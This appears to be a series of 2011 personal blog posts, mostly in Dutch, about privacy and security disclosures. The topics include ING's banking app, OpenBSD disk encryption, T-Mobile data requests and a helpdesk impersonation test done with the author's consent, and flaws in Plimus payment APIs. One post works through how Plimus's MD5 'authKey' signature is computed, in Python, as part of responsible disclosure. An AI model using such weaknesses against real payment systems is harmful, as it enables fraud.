Toen ik deze vermoedens bij de ING heb gemeld heeft een medewerker van de ING telefonisch contact met mij opgenomen om mij gerust te stellen. Op de vraag of deze lek te misbruiken is kreeg ik als antwoord dat niets 100% veilig is, maar dat ze enkele maatregels hebben getroffen om misbruik te voorkomen en dat ze heel goed opletten of er toch misbruik voorkomt. En als het dan toch misgaat zouden klanten hun geld terugkrijgen.

Dat de ING weet dat hun applicatie dit beveiligingsprobleem heeft verbaast me niets. Dat ze er toch niets aan lijken te doen kan ik me ook voorstellen. Als ze de applicatie namelijk echt goed willen beveiligen moeten ze het waarschijnlijk zo aanpassen dat het gebruikersgemak dusdanig slechter word dat niemand er meer gebruik van zal maken. Ik heb echter wel een probleem met hoe de ING omgaat met de vraag wie verantwoordelijk is voor de beveiliging. De ING kan namelijk niet verantwoordelijk zijn voor de beveiliging van mijn telefoon omdat ze buiten hun eigen applicatie niets kunnen beveiligen (en dat is niet genoeg). Daarom zou ik zeggen dat ik zelf verantwoordelijk ben voor de beveiliging van mijn eigen telefoon. Maar als ik zelf verantwoordelijk ben wil ik weten welke risico's ik loop zodat ik minimaal een afweging kan maken van de risico's en mogenlijk zelfs stappen kan nemen om mijn telefoon beter te beveiligen. Maar de ING wil mij niet vertellen welke risico's ik loop, zelfs niet als ik specifiek naar bepaalde lekken vraag. De gebruikersvoorwaarden zeggen ook niets over de wie er verantwoordelijk is.

Aan de ING heb ik dan ook een paar concrete vragen:

Wie is er verantwoordelijk als door beveiligingslekken in hun internetbankieren app geld gestolen word?
Mag ik concreet aantonen dat de applicatie slecht beveiligd is om mijn stelling te onderbouwen? (zonder daarvoor geld te stelen van iemand die daar niet vantevoren ondubbelzinnig toestemming heeft gegeven en een proces van responsible disclosure in acht nemende voor de publicatie)
Wat doen jullie concreet om misbruik te voorkomen? (Zaken als obfuscated code en custom keyboards zijn niet effectief.)
Kunnen jullie transparant zijn over de beveiligingsrisico's van mobiel internetbankieren of heel duidelijk aangeven dat jullie volledig de verantwoordelijkheid nemen voor beveiligingsproblemen en altijd alle geleden schade vergoeden?

Wees je bewust van het risico en bedenk je dat dit probleem niet specifiek is voor de ING.

OpenBSD disk encryption

2011-12-05T13:55:00Z

laptops are easy to lose or steal and you don't want any potentially sensitive data to be stolen too. For that purpose many companies now require disk encryption. The OpenBSD softraid CRYPTO discipline has grown to be a mature piece of software and since I was long due for a fresh OpenBSD installation anyway I decided to give it a try.

Let's start with the goals:

No user files should be recoverable when the laptop gets lost or stolen without knowledge of my passphrase.
The boot and upgrade process should be as simple as possible.

What I'm not trying to do:

Provide plausible deniability: The largest disk slice is a softraid CRYPTO volume and the system asks for a passphrase on bootup. The use of encryption is obvious.
Provide a secure system after other people have had physical access: The disk contains a small unencrypted part used for booting. With physical access you can easily modify the boot process to record the passphrase for example.

My primary source for this procedure was this blogpost: http://geekyschmidt.com/2011/01/19/configuring-openbsd-softraid-fo-encryption

Start by booting into bsd.rd and open a shell. Like in the blogpost, create a disk layout like this:


$ sudo disklabel -h wd0

# /dev/rwd0c:

type: ESDI

disk: ESDI/IDE disk

label: ST980811AS
      
duid: 1898f5c8938a0ebf

flags:

bytes/sector: 512

sectors/track: 63

tracks/cylinder: 255

sectors/cylinder: 16065

cylinders: 9729

total sectors: 156301488 # total bytes: 74.5G

boundstart: 64

boundend: 156296385

drivedata: 0 



16 partitions:

#                size           offset  fstype [fsize bsize  cpg]

  a:             1.0G               64  4.2BSD   2048 16384    1 # /

  b:             2.2G          2104512    swap                   # none

  c:            74.5G                0  unused                   

  d:            71.3G          6715170    RAID

The RAID partition will hold all the encrypted data.
Now you have to tell the system to use the RAID partition:
bioctl -c C -r 8192 -l /dev/wd0d softraid0

This will prompt for a passphrase. Choose wisely: too long and you might forget it, too short and it might be guessed by an attacker. Now start the install and continue normally until you need to setup the disks.
The first disk you need is the disk you boot from. Use the whole disk and layout you created earlier. Next continue with your newly attached softraid volume. My softraid disk looks like this:


$ sudo disklabel -h sd2  

# /dev/rsd2c:

type: SCSI

disk: SCSI disk

label: SR CRYPTO

duid: 96ce005d1a254d38

flags:

bytes/sector: 512

sectors/track: 63

tracks/cylinder: 255

sectors/cylinder: 16065

cylinders: 9310

total sectors: 149580687 # total bytes: 73037.4M

boundstart: 64

boundend: 149565150

drivedata: 0 



16 partitions:

#                size           offset  fstype [fsize bsize  cpg]

  a:          4102.5M               64  4.2BSD   2048 16384    1 # /tmp

  b:          2047.3M          8401984  4.2BSD   2048 16384    1 # /usr

  c:         73037.4M                0  unused                   

  d:          1019.8M         12594944  4.2BSD   2048 16384    1 # /usr/X11R6

  e:         10236.7M         14683392  4.2BSD   2048 16384    1 # /usr/local

  f:          2047.3M         35648224  4.2BSD   2048 16384    1 # /usr/obj

  g:          2047.3M         39841184  4.2BSD   2048 16384    1 # /usr/src

  h:         45386.8M         56613056  4.2BSD   2048 16384    1 # /home

  i:          6142.0M         44034144  4.2BSD   2048 16384    1 # /var

Finish your installation as you'd normally would and reboot.
Upon rebooting you will be greeted by messages urging you to run fsck, don't do this and just press enter for a shell. Now you have to bring your softraid partition online:

bioctl -c C 
-l /dev/wd0d softraid0 && exit

. Enter your passphrase and the system will boot normally.

Doing this on every boot is annoying. So after you booted open /etc/rc and put the line bioctl -c C -l /dev/wd0d softraid0 just before the part where it checks the disks (line 278 in my version). When you reboot it should ask you for a passphrase automatically.

Digitale veiligheid: bewustwording en naleving

2011-11-09T02:50:00Z

Veiligheid in de digitale wereld krijgt de laatste tijd veel aandacht. Door het hacken van Diginotar zijn mensenlevens in gevaar gekomen en vanaf dat moment lijken veel mensen zich te beseffen dat de veiligheid van onze digitale infrastructuur toch eigenlijk best wel belangrijk is. Om het punt duidelijk te maken dat veiligheidslekken eerder regel dan uitzondering zijn is Brenno de Winter met Lektober gekomen: elke dag van de maand oktober publiceerde hij een lek in een website van een bedrijf of een overheidsinstelling. De timeing had niet beter kunnen zijn. Ik krijg opeens van alle kanten vragen over cookies, hackers en het volggedrag van Google en Facecook. Ik zie dat als een goede ontwikkeling en we kunnen het ons niet veroorloven om hier niks mee te doen.

Het het belanggrijkste punt waar veel winst te halen valt is bewustwording. Veel mensen lijken zich nu bewust te zijn van het feit dat er gevaren zijn op het internet. Maar het gevaar bestaat dat mensen dit normaal gaan vinden. Ik zou graag zien dat mensen het niet meer accepteren dat bedrijven ongevraagd informatie over ze verzamelen of dat bedrijven vooral zichzelf lijken te
beschermen in plaats van de klanten als er een lek plaatsvind. De bewustwording begint met het inzichtelijk maken wat bedrijven voor informatie verzamelen. De Privacy Inzage Machine (https://pim.bof.nl) is daar een heel goed hulpmiddel voor door het doen van een inzageverzoek (Art. 35 Wbp) aanzienlijk te vereenvoudigen. Maar de drempel is nogsteeds hoog, dus zullen er een aantal publieke voorbeelden moeten zijn voor de mensen die zelf geen inzageverzoeken opsturen. Ook als een bedrijf de fout ingaat door bijvoorbeeld data te lekken is het heel belangrijk om hier aandacht aan te geven. Niet alleen dat er gelekt is, maar ook hoe het bedrijf daarmee is omgegaan. Als een bedrijf goed omgaat met een lek laat dit dan ook duidelijk blijken, maar als een bedrijf een lek stil probeert te houden of verantwoordelijkheid afschuift laat dan ook heel duidelijk blijken dat dit niet geaccepteerd word.

Tegelijk met de bewustwording moet ook de naleving van de wet aangepakt worden. Het is heel verlijdelijk om te denken dat als iets niet goed gaat dat er nieuwe wetten geschreven moeten worden, maar meer wetten hebben geen zin als de huidige wetten bijna niet nageleefd worden. Bedrijven kunnen bijvoorbeeld weigeren de transparantie te geven die ze verplicht zijn te geven onder Art. 35 Wbp. Als individu is de drempel om hier tegenin te gaan zodanig hoog dat in de praktijk niemand dat doet. Het College bescherming persoonsgegevens, de toezichthouder van de Wbp is van beperkt in haar vermogen om overtreders aan te pakken. Dit komt deels vanwege de beperkte mogenlijkheden om maatregelen te nemen en deels vanwege een gebrek aan mankracht.

Al met al is er nog genoeg te verbeteren op het gebied van online privay en andere vormen van privacy. Maar voordat nieuwe wetten of andere ingrijpende maatregelen effect zullen zijn moet eerst de bewustwording vergroot en de naleving van de wet krachtiger afgedwongen worden.

Inzageverzoek T-Mobile

2011-10-27T03:20:00Z

Zoals uit eerdere blogposts al is gebleken ben ik de laatste tijd wel eens bezig met T-Mobile en privacy. In mijn laatste blogpost heb ik geschreven dat ik bij T-Mobile op het hoofdkantoor langs ben geweest om te praten over de beveiliging van de webcare helpdesk. Wat ik niet heb geschreven is dat ik daar ook wat anders besproken heb.

Ik ben al een lange tijd actief bij Bits of Freedom en bij BoF heb ik meegewerkt aan de Privacy Inzage Machine. PIM is een hulpmiddel die inzichtelijk moet maken wat voor gegevens bedrijven verzamelen over mensen. Het belangrijkste hulpmiddel hierbij is artikel 35 van de Wet bescherming persoonsgegevens. Volgens dit wetsartikel heeft iedereen recht om de persoonsgegevens die een instelling over hem of haar verwerkt in te zien. PIM helpt mensen door automatisch een brief te genereren die gebruikt kan worden om deze inzage te verzoeken.

Ondertussen heb ik hartstikke leuk code lopen schrijven voor PIM, maar ik had zelf nog nooit van mijn inzagerecht gebruik gemaakt. Wat een mooi toeval dat ik T-Mobile tegenkwam. De bewaarplicht telecomgegevens zat mij al een hele tijd dwars en ik wilde wel eens weten wat T-Mobile allemaal over mij verzamelde. De brief die PIM voor mij maakte was mij net niet specifiek genoeg, dus heb ik de voorbeeldbrief van het CBP genomen en ligt aangepast door specifiek naar de gegevens te vragen die onder de Wet bewaarplicht telecommunicatiegegevens vallen. Het resultaat was dit inzageverzoek (Privacygevoelige gegevens zijn vervangen door een $Placeholder).

Aan het eind van het gesprek bij T-Mobile besloot ik mijn brief te overhandigen aan de Data Protection Officer van T-Mobile. Ik heb vervolgens mondeling toegelicht dat ik met die gegevens niet alleen inzicht wil krijgen, maar ook aan mensen laten zien wat een impact de bewaarplicht telecomgegevens heeft. Daarbij heb ik ook uitgelegd dat ik de gegevens als een digitaal bestand zou willen hebben zodat ik er mee kan werken en visualisaties kan maken zoals de Zeit dat heeft gedaan bij Malte Spitz (Aanrader!). Ik kreeg te horen dat dit ongebruikelijk was en dat T-Mobile normaal niet meer dan 10 dagen aan data geeft. Ze zouden bespreken wat ze ermee zouden doen, maar gaven aan dat ze niet zomaar een uitzondering wilden maken. Toch had ik goede hoop; T-Mobile had namelijk net mijn gegevens gelekt en ik was speciaal naar het hoofdkantoor gekomen om ook nog een gratis waardevol beveiligingsadvies te geven. Daar had ik toch vast wel wat goodwill mee gecreÃ«erd.

Bijna vier weken later werd ik een beetje ongeduldig. Ik had namelijk begrepen dat ze met mij zouden bespreken wat ze precies met mijn verzoek zouden doen. Dat bleek niet het geval, ze zouden het intern bespreken. Dat wist ik nog niet, dus ik besloot zelf maar contact op te nemen. Dat misverstand heeft ook bij T-Mobile voor wat verwarring verzorgt, maar die middag werd ik netjes opgebeld door de Data Protection Officer van T-Mobile. Ik was toen toevallig op de redactie van Sargasso aan het werk.

Als eerste werd het misverstand over wie met wie zou overleggen uit de wereld geholpen. Daarna hebben we het gehad over in inhoud die ik zou krijgen. Dat bleek namelijk toch die standaard 10 dagen te zijn en T-Mobile had zelf voor mij gekozen welke 10 dagen. Ik was natuurlijk niet blij met dat ik niet alles kreeg, maar dat T-Mobile geheel zelfstandig heeft besloten de 10 dagen te kiezen, zonder met mij contact op te nemen vond ik onbeleefd. Toen mij verteld werd dat ze me niet alle gegevens wilden geven omdat anders mensen gingen denken dat T-Mobile zoveel gegevens over iedereen verzameld konden de journalisten bij wie ik aan tafel zat hun lach bijna niet inhouden. Het hele punt is juist dat T-Mobile zoveel gegevens verzameld over al hun klanten. Net als elke andere telecomprovider, ze zijn dit namelijk bij wet verplicht. Een paar dagen later kreeg ik een dikke enveloppe met daarin wat gegevens over mijn abonnement en 42 pagina's gegevens over locaties, telefoongesprekken en smsjes over een periode van 10 dagen.

Daar was ik het natuurlijk niet mee eens. Ik heb recht op alles en ik krijg maar 2.7%. Bovendien op papier, daar kan ik geen mooie visualisaties van maken. Ik besloot een brief op te stellen waarin ik uitleg wat ik precies wil en waarom ik denk daar recht op te hebben. Ik heb het geluk om een flink aantal uitstekende juristen te kennen en af en toe op een symposium of bij een lezing nog meer juristen tegen te komen. Mijn brief heb ik aan een hoop juristen laten lezen een ik ben ze allen heel erg dankbaar voor hun feedback. Maar wat mij opviel wat dat alle juristen die ik sprak het in interessante zaak vonden, allen vonden dat ik in mijn recht sta om dit te eisen, dat ik er eigenlijk een rechtszaak van zou moeten maken en (voor mijn ego het belangrijkste) dat mijn brief juridisch goed onderbouwd was.

Voordat ik mijn brief had opgestuurd gebeurde er iets opmerkelijks. Na een gesprek met de manager van het @tmobile_webcare team over mijn abonnement kwam ik erachter dat er iets mis was met mijn My T-Mobile account. De helpdesk zou het probleem oplossen en contact met mij opnemen als het probleem opgelost zou zijn. En de volgende dag kreeg ik inderdaad te horen dat het probleem opgelost was. Dat gebeurde in een publieke tweet met daarbij nog meer informatie over mijn abonnement. Opmerkelijk, ik had kortgeleden nog expliciet uitgelegd hoe dit soort fouten te voorkomen zijn. Maar als ik de betreffende medewerkster hierop aanspreek kreeg ik te horen dat het helemaal geen privacygevoelige gegevens waren en als ik dat niet wilde had ik maar moeten zeggen dat ik het liever in een DM had gewild. Dat is natuurlijk de omgekeerde wereld!

Ondertussen ben ik mijn vertrouwen in de zorgvuldigheid van T-Mobile verloren. Twee keer heb ik ze gewaarschuwd wat er fout kan gaan en twee keer gaat het fout. Ik heb een kleine toevoeging gedaan aan de brief en hem verstuurd aan T-Mobile. Vandaag heb ik dus een antwoord van T-Mobile ontvangen. Het antwoord komt er ruwweg op neer dat T-Mobile mijn argumenten naast zich neerlegt en alsnog niet ingaat op mijn inzageverzoek.

Hieronder een kopie van het antwoord van T-Mobile. Over wat ik nu van plan ben zal ik nog geen uitspraken doen, maar ik ben niet van plan om het hierbij te laten.

Edit: Op vrijdag 28 oktober 2011 13:14 heeft Tweakers.net een artikel over mijn blogpost geplaatst.

Waarom is een meldplicht datalekken nodig?

2011-09-20T02:01:00Z

Veel bedrijven hebben tegenwoordig grote databases met gegevens over mensen. Soms gaat er wel eens iets fout en dan liggen de gegevens van een heleboel mensen op straat. Ik wil dat zodra gegevens lekken dat het bedrijf (of overheid!) verplicht is zonder onnodige vertraging alle betrokkenen in te lichten over de lek. Ik zal proberen een aantal redenen te geven waarom deze meldplicht nodig is.

Schadebeperking
Bij een datalek zijn vaak veel mensen een slachtoffer. Afhankelijk van wat er gelekt is kan het heel verstandig zijn om wachtwoorden te veranderen,
apps te deinstalleren of in extreme gevallen zelfs identiteitsdiefstal verzekering af te sluiten. De realiteit is echter dat de bedrijven die lekken vaak helemaal niet willen toegeven dat er data gelekt is. Het is dan onmogelijk om zelf maatregelen te nemen. Ook als het bedrijf gegevens lekt door een inbraak en het bedrijf doet aangifte tegen de dader hebben de slachtoffers van de lek daar niets aan. Ze kunnen hun eigen data er niet door terugkrijgen en het zal ook niet helpen om ze te informeren over de lek.

Je recht om te weten wat er met je data gebeurd
Volgens de wet bescherming persoonsgegevens heeft iedereen recht om te weten met welke doelen zijn of haar persoonsgegevens verzameld worden en aan wie deze gegevens verstrekt worden. Sterker nog: verwerkers van persoonsgegevens hebben zelfs de plicht om in een openbaar register te registreren wat voor gegevens ze verzamelen, met welk doel en aan wie de gegevens verstrekt worden. Het zou vreemd zijn als een bedrijf onder deze plicht vandaan kan komen als het verstrekken van de gegevens onbedoeld was. Ik zou juist willen stellen dat de principes achter het openbare register zoals gedefineerd in de Wbp juist extra sterk van toepassing zijn op gelekte gegevens. Ik zou dan ook deze principes willen doortrekken en bedrijven willen verplichten om ook datalekken te laten registreren in een vergelijkbaar register.

Concurreren op veiligheid
Veiligheid van gegevens gaat een steeds belangrijkere rol spelen diensten. Maar stel dat je een bedrijf wilt uitkiezen die veilig omgaat met je gegevens, hoe werkt dat in de praktijk? In de praktijk kies je een bedrijf uit op het vertrouwen dat ze uitstralen, maar als je echt dieper gaat kijken zal je ontdekken dat vertrouwen en veiligheid slechts losjes verband hebben met elkaar. Je kan het vergelijken met voedsel; als je wilt dat mensen een ge�nformeerde beslissing kunnen nemen over wat ze eten verplicht je producenten transparant te zijn over de ingredi�nten. Het is lastig om alle interne procedures van een bedrijf die van invloed zijn op de veiligheid van gegevens openbaar te maken. Maar wat je wel kan is een bedrijf verplichten om te vermelden de bescherming van de gevoelige gegevens mislukt is. Als klant kan je dan in ieder geval kiezen voor een bedrijf dat weinig fouten gemaakt heeft.

Als je het idee hebt dat ik iets over het hoofd gezien heb, een fout gemaakt heb, of als je het gewoon niet met mij eens bent lees ik het graag in de comments.

T-Mobile - Continued

2011-08-31T14:20:00Z

Gisteren heb ik een heel goed gesprek gehad bij T-Mobile in Den Haag. Ik werd vriendelijk ontvangen door Ruud Huigsloot (Manager E-Services&Webcare Internet & New Media), iemand van pr en de juriste die o.a. verantwoordelijk is voor de privacybescherming van klanten. Het gesprek was informeel, ik vond het zelfs gezellig, maar wel inhoudelijk.

Na een korte voorstelronde heb ik kort herhaald wat er gebeurd is vanuit mijn perspectief. Het punt wat voor mij het belangrijkste was, het ontkennen van de lek door T-Mobile, heb ik in perspectief kunnen plaatsen. Niet alleen was de situatie niet helemaal representatief omdat T-Mobile wist dat er een journalist bij betrokken was, emoties werden ook belangrijk in de reacties van T-Mobile omdat ze zich nogal in de maling genomen voelden. Juist het feit dat T-Mobile zich anders gaat gedragen onder druk is een kwetsbaarheid en het niet informeren van de klant is naar mijn mening altijd fout. Maar omdat T-Mobile zich dit ook heel goed lijkt te beseffen en omdat de situatie niet helemaal representatief is voor een echte identiteitsdiefstal heb ik wel begrip voor de afwijkende behandeling door T-Mobile.

Ook de lek zelf heeft natuurlijk aandacht gekregen. Natuurlijk waren we het er snel over eens dat beveiliging complex is, zeker als je ook rekening moet houden met klantvriendelijkheid. Toch heb ik een paar suggesties kunnen doen die een minimale impact hebben op de klantvriendelijkheid en een paar die mogelijk zelfs de klanten een veiliger gevoel geven (en als een bonus ook nog bijdragen aan de echte veiligheid). Ik heb het gevoel over dat T-Mobile een flink aantal van deze suggesties zal gaan implementeren en dat alle klanten en T-Mobile zelf een stukje veiliger zijn als gevolg.

Natuurlijk is het de moeite waard om T-Mobile goed in de gaten te houden. Het kan altijd een klein stukje veiliger.

P.S.
Voor degenen die ongerust waren: T-Mobile heeft in geen enkel opzicht gedreigd met juridische stappen, mij willen ontvoeren of mij op een andere manier lastig willen vallen.
Voor degenen met suggesties dat ik dikke zakken geld moest vragen: Dat heb ik niet gedaan en T-Mobile heeft ook niets aangeboden (helaas ;-)). Er is mij echter wel 4 keer een kopje thee aangeboden waarvan ik er slechts 1 geaccepteerd heb. Deze positieve blogpost is dus slechts het gevolg van een goed gesprek en omkoping met een kopje thee.

T-Mobile's "menselijke fouten"

2011-08-27T16:21:00Z

Zoals elk modern bedrijf heeft ook T-Mobille een Twitter account om vragen van klanten te kunnen beantwoorden en mensen te informeren over storingen en onderhoud. Zoals elke brave klant volg ik dan ook @tmobile_webcare zodat ik van elke bui die een storing veroorzaakt op de hoogte blijf.

Wat blijkt: Ik ben niet de enige. Een aantal van de mensen die ik volg op Twitter zijn ook T-Mobile klanten en maken af en toe ook gebruik van @tmobile_webcare waardoor ik het hele gesprek over en weer kan volgen. Meestal verzoekt @tmobile_webcare vrij snel om het gesprek over DM (Direct Message, oftwel berichten die niet publiek zijn) voort te zetten. Logisch, want je wilt niet zomaar je telefoonnummer of adres twitteren. Toch komt het wel eens voor dat er iets mis gaat en er toch gevoelige gegevens openbaar gemaakt worden. Een sterk voorbeeld daarvan is het publiceren van login naam en wachtwoord van een klant (Bron: Webwereld). Nadat ik zelf een aantal onhandige tweets van T-Mobile had opgemerkt besloot ik er wat over te zeggen.

Het blijkt allemaal wel mee te vallen. Volgens @tmobile_webcare zijn de onfortuinlijke tweets slechts incidenten en menselijke fouten. Niets om me zorgen over te maken. Een paar uur later geef ik maar de hint dat het misschien wel verstandig is om de tweets te verwijderen. Bijna meteen zijn ze verwijderd, maar geen bericht van @tmobile_webcare om mij te bedanken voor dit diepgaande inzicht. Ze zullen het wel druk hebben.

Dan neemt Joost Schellevis, een journalist, contact met mij op met de vraag of ik vrijwillig slachtoffer wil worden van identiteitsdiefstal. Het plan is dat hij zich voordoet als mij en probeert mijn factuur te krijgen van T-Mobile. Als dit zou lukken toont het niet alleen aan dat de onzorgvuldigheid van T-Mobile geen losstaande foutjes zijn, maar ook dat het door kwaadwillenden te misbruiken is. Ik ga akkoord en al snel staat en een nep Floor Terra op Twitter en Gmail. Een klein beetje Googlen en zoeken in het telefoonboek en er is genoeg over mij bekend om naar T-Mobile te stappen.

Niet veel later krijg ik een email, geadresseerd aan 3 verschillende email adressen, met daarin een gif attachment die mijn factuur bevat. Nadat ik van de schok bekomen ben dat ze mijn factuur als gif rondmailen besef ik dat 2 van de 3 email adressen niet van mij zijn. Een van de email adressen herken ik zelfs niet als een vals email adres van mij. Na even navragen bij Joost blijkt hij nog een email adres voor de valse mij te hebben aangemaakt. Omdat het versturen van de factuur niet lukte had Joost een ander email adres gegeven en heeft T-Mobile besloten om de factuur aan alle email adressen van "mij" te versturen. Erg slordig.

Ik krijg ook nog 2 keer een sms met daarin de melding dat mijn "My T-Mobile" account gereset is en ik een nieuwe login naam en wachtwoord krijg. En daarna blijft het een maand stil.

Dan besluit Joost contact op te nemen met T-Mobile om te vertellen wat er aan de hand is en om een reactie te vragen. Zoals te verwachten is T-Mobile niet blij. Ik wacht even af en vraag de volgende dag, alsof ik nergens vanaf weet, waar die rare smsjes toch vandaan kwamen. Ik wilde T-Mobile zelf de kans geven om het aan mij te vertellen. Wat er gebeurde had ik totaal niet verwacht. T-Mobile werd boos op Joost omdat ze dachten dat Joost geen toestemming had gevraagd. Ondertussen is T-Mobile tegen mij aan het ontkennen dat er iets aan de hand is. Ik dacht een mooie oplossing gevonden te hebben: als T-Mobile niet geloofd dat ik mijn toestemming heb gegeven aan de Joost, laat ze dan contact met mij opnemen om het te vragen. Dat scheen volgens T-Mobile geen goed idee te zijn omdat ik het toch al wist. Vreemd, want tegen mij wilden ze niet toegeven wat er aan de hand was.

Pas toen ik liet blijken dat ik wist wat voor gesprek er gaande was tussen Joost en T-Mobile gaven ze toe. Maar ze bleven stellig beweren dat het een menselijke fout was, dat niets 100% veilig kan zijn en dat dit niet te maken had met de onzorgvuldigheid waar ik eerder heel duidelijk voor gewaarschuwd had. Nadat de discussie zich uitbreidde naar andere mensen op Twitter wilde T-Mobile een afspraak met mij maken. Ik heb komende dinsdag anderhalf uur de tijd om te praten met een aantal mensen van T-Mobile en ze uit te leggen wat er volgens mij beter kan.

Ik zou zeggen: wordt vervolgt.

Plimus is working on issues

2011-06-24T12:58:00Z

This morning I got a phone call from a phone number in Isreal. It was Tal, an engineer from Plimus. Tal wanted to know about the issues I had found and what solutions I had in mind. Tal also explained their plans for fixing all issues and all the issues that are involved with changing their API.

I'll be keeping an eye on Plimus to see how they are doing, but now I'm confident that someone at Plimus understands their security issues and they are working on fixing them.

I still have an important message for Plimus and every other company that receives security advice from a random person from the internet.
Be happy that person tells you about the security issues and doesn't abuse them in secret.

And when you receive security advice, you should handle it well. I have spend months exchanging emails and twitter messages and writing several blogposts only to get marketing people telling me I'm confused. Just one phone call from Tal was more informative for both me and for Plimus than all those months together.

Don't wait months before forwarding issues to engineers.

Plimus vulnerability: Sharing customer password in plaintext

2011-06-21T21:29:00Z

It's been a while since my last post about Plimus. I have contacted Plimus multiple times since and still haven't got any response from someone with even a basic knowledge of security. They did however visit my blog and that gave me enough information to figure out that their customer support system stores passwords in plaintext. But what I want to write about is worse.

Let me start by saying that what I am going to write about is not a bug, not an unpatched piece of software and not a subtle design flaw. It's a feature.

What kind of feature would that be?
Imagine you have a webshop and you use Plimus as a payment processor. Your customers will need a Plimus login to handle their payments, and a login to your shop to view their purchase status, or download the content they purchased. Remembering two different account credentials is way too difficult for your customers, so you want to streamline their shopping experience.

I can almost hear you say: "Use OpenID!", and you would be right. If Plimus would have used some kind of OpenID or OAuth system everybody whould be happy. The customers would have a secure way to use their Plimus login on your webshop. Both you and Plimus could have used standard, free, well tested and opensource software. And you get all kinds of extra features for free, such as retraction of authorization.

Plimus invented their own system described as "Capture Customer Login Credentials". What this system does is comparable to the IPN system. Every time the shopper changes their account credentials, the webshop can choose to receive a notification. This notification is send as a HTTP POST to a url specified by the webshop. The following information is send:

When the webshop receives this message it will add the user to their local database or just change their password to match their new password at Plimus.

I can't even come close to start describing all the things that are wrong with this, but here is my attempt:

Users are not notified about Plimus sharing their passwords.
All information can be send over the internet without SSL, so all passwords can be sniffed.
There is no authentication, so if I know the url I can create users at the target webshop or change credentials of existing users.
The webshops themselves have the credentials to login to the customer's Plimus account with full access.
There is no procedure for error recovery and credentials can get out of sync.

I bet you can think of more ways this could go wrong.

If you use Plimus, I have some advice for you:

Run away and never come back
If you can't: complain loudly and publicly about the security issues.
Can you sue for negligence?

And if you work for Plimus:

You have both my email address and my phone number. If you have any questions you can use them or leave a comment below.

[Edit] A long time has passed between writing this blogpost and publishing it. The first paragraph contained an inaccurate statement about my contact with Plimus. I have had contact with the Plimus VP & head of marketing who seems to think there are no issues. Someone with technical knowledge should contact me soon.

Nepneutraliteit door de VVD

2011-06-04T18:10:00Z

In de strijd tegen netneutraliteit heeft Afke Schaart van de VVD een wetsvoorstel ingediend die het toelaat dat een internetprovider de macht geeft om mensen extra te laten betalen op basis van de inhoud van het internetverkeer. Wil je msn gebruiken? Prima! Wil je Skype of WhatsApp gebruiken? Dan moet je bijbetalen.

Hieronder probeer ik een lijstje van de gedachtenkronkels van de VVD bij te houden.

De VVD kan ook gaan dreigen met kinderporno:

"In voorstel #d66 kunnen operators geen spam en kinderporno meer voor je tegenhouden. Ze kunnen het niet selectief doen. #omovernatedenken" -- Bron

Hier gaat Edo Haveman netjes tegenin:

"@afke1 liegen is niet netjes. In voorstel D66 kunnen operators spam tegen houden (lid c, dat je netjes gekopieerd hebt in je eigen voorstel)" -- Bron

Maar ik wil hier iets verder in gaan. Het is namelijk overduidelijk dat Edo Haveman gelijk heeft en ik denk dat Afke Schaart dat ook weet. Wat ik denk dat Afke Schaart bedoeld is dat met het voorstel van D66, providers niet zonder gerechtelijk bevel content mogen blokkeren. Wat mij betreft is dat precies zoals het zou moeten zijn. Maar op de manier waarop Afke Schaart het hier formuleert krijg ik de indruk dat ze het juist goed vind dat providers zonder gerechtelijk bevel content kunnen blokkeren. Heb ik de tweet van Afke Schaart verkeerd ge#nterpreteerd?

++++++++++++++++++++++++++++++++++++++++

Niet echt een argument over netneutraliteit, maar wel interessant.

"WhatsApp is overigens gratis omdat ze je persoonsgegevens doorverkopen aan derden. #omovernatedenken" -- Bron

Waar komt dit vandaan? WhatsApp zegt zelf namelijk heel wat anders:

"Wij hechten veel waarde aan uw privacy en willen en zullen uw persoonlijke gegevens dan ook nooit met iemand delen of verkopen." -- Bron

Bovendien heeft WhatsApp gewoon een "yearly subscription fee". Alleen het eerste jaar is gratis zodat je lekker veel contactpersonen kan verzamelen en de drempel om te stoppen met WhatsApp lekker hoog is wanneer je moet gaan betalen.

++++++++++++++++++++++++++++++++++++++++

Deze komt direct van de website van Afke Schaarts:

"Het voorstel verbiedt het blokkeren van websites door telecombedrijven. Wel maakt het VVD-plan prijsdifferentiatie door telecombedrijven mogelijk. Hierdoor hoeft de gewone gebruiker niet mee te betalen aan een kleine groep veelverbruikers. Aanleiding voor het voorstel zijn de plannen van telecombedrijven om extra vergoedingen te vragen voor `zware' diensten als Skype, YouTube en VoIP. Deze diensten leggen een groot beslag op hun netwerken." -- Bron

Hier claimt de VVD dat hun voorstel het mogelijk maakt om de "gewone gebruiker" een eerlijker abonnement af te laten sluiten door gebruikers die minder gebruiken minder te laten betalen. Dat kan heel makkelijk door de gebruikers te laten betalen voor de hoeveelheid data die ze versturen of ontvangen. Ondertussen krijgen opkomende bedrijven zoals WhatsApp het moeilijk omdat hun potenti#le klanten opeens ook de internet provider moeten gaan betalen voor hun service. Dat noem ik niet eerlijk.

Plimus vulnerability: "Plimus uses MD5hex encryption"

2011-06-03T14:39:00Z

In my last blogpost about Plimus I talked about the lack of SSL based security. At some point in time Plimus must have realized this and started looking for a solution. Of course, Plimus is a serious business and can't afford to break backwards compatibility for their customers and so devised their ingenious "MD5hex encryption" technology.

Let's think back about the lack of proper use of SSL and the problems that this brings:

No identification
Possible to alter data
Possible to record data

Now let's see what Plimus claims to protect:

Parameters Protection is an advanced feature that helps prevent unauthorized changes to sensitive BuyNow page parameters, such as last name, currency, and custom fields. The protection involves the selection of the relevant parameter data and its encryption using MD5hex technology. In order to use this feature you will need to set up a Data Protection Key (link) if you have not already done so. This single key can be used to generate encryption in a number of different situations in relation to your Seller account. Enter your key details into the appropriate field.

So Plimus claims that this feature protects against data modification and as a side effect also some identification.

When you study how this "MD5hex technology" works, you will see it's nothing more than a basic HMAC (Hash-based Message Authentication Code).

Let's walk through an example with a simplified IPN-like message to see how this works:
First you need to enable parameter protection in the Plimus admin. (No protection by default. Backwards compatibility, remember?) Now you can choose which fields you want to protect. Don't ask me why you wouldn't want to protect all fields, I have no idea. Our simplified IPN has the following fields: transactionType, productId, price, firstName and lastName.

Without parameter protection the following POST data will be send:



transactionType=CHARGE

productId=1337

price=100

firstName=Floor

lastName=Terra

Now let's say we only protected productId and price and we used the shared secret "topsecretkey". Now Plimus will send the following IPN:



transactionType=CHARGE

productId=1337

price=100

firstName=Floor

lastName=Terra

authKey=336e6416fe2181620adc57bcbec1b8f1

This is how the authKey is calculated (in Python):

>>> import md5

>>> md5.md5("1337"+"100"+"topsecretkey").hexdigest()

'336e6416fe2181620adc57bcbec1b8f1'

